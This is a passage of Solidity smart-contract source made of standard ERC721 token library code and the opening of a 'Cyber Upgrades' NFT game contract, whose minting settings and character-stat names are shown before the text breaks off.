{safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } abstract contract PercentageGenerator { function calculatePercentage(bool hasVault, uint rarity, uint tokens) public view virtual returns (uint[] memory); } abstract contract SourceData { function getVaultRarity(uint token_id) public view virtual returns(uint); function getFirstStat(uint token_id, uint rarity) public view virtual returns(uint); function getFirstStatValue(uint token_id, uint rarity) public view virtual returns(uint); function getSecondStat(uint token_id, uint rarity) public view virtual returns(uint); function getSecondStatValue(uint token_id, uint rarity) public view virtual returns(uint); function getFirstAugment(uint token_id, uint rarity) public view virtual returns(uint); function getSecondAugment(uint token_id, uint rarity) public view virtual returns(uint); function getAirdrops(uint token_id, uint rarity) public view virtual returns(uint); } contract ConsoleNFT_Cyber_Upgrades is ERC721Enumerable, ReentrancyGuard, Ownable, VRFConsumerBase { address dataContract; address percentageContract; address vaultContract; address levelUpContract; mapping(uint => bool) private _usedVaults; // Mapping for wallet addresses that have previously minted mapping(address => uint) private _whitelistMinters; // Merkle Proof Hashes for tokens bytes32[] public rootHashes; uint public constant maxTokens = 5000; uint public vaultHolderReserves = 500; uint[] public rarities; // mapping of pool rarities in constructor uint public total = 0; uint mintCost = 0.05 ether; uint publicMintCost = 0.1 ether; uint public whitelistMintStart; uint public publicMintStart; bool sysAdminMinted; bool error404Minted; bool code200Minted; bool giveawaysMinted; address error404Address; address code200Address; address giveawaysAddress; mapping(uint => uint) public levels; // tokenID -> level mapping(uint => uint) public rarity; // tokenID -> rarity function setMerkleHashes(bytes32[] memory _rootHash) external onlyOwner { rootHashes = new bytes32[](0); for (uint i=0; i < _rootHash.length; i++) { rootHashes.push(_rootHash[i]); } } function setVaultContractAddress(address _vaultContract) external onlyOwner { vaultContract = _vaultContract; } function setPercentageContractAddress(address _percentageContract) external onlyOwner { percentageContract = _percentageContract; } function setWhitelistMintStart(uint _timestamp) external onlyOwner { whitelistMintStart = _timestamp; } function setPublicMintStart(uint _timestamp) external onlyOwner { publicMintStart = _timestamp; } function setSourceData(address _dataContract) external onlyOwner { dataContract = _dataContract; } function setLevelUpContract(address _levelUpContract) external onlyOwner { levelUpContract = _levelUpContract; } string[] private rarityText = [ "Common", "Uncommon", "Rare", "Epic", "Legendary" ]; function getRarity(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; output = rarityText[rarity[tokenId]]; return output; } string[] private firstStat = [ "Health", "Strength", "Speed", "Accuracy", "Intelligence", "Tech", "Hack speed", "SQL skill", "Network", "DNA", "De-auth", "Pwd cracking", "XSS forgery", "Decrypt", "Cryptography" ]; function getFirstStat(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = firstStat[source_data.getFirstStat(tokenId, 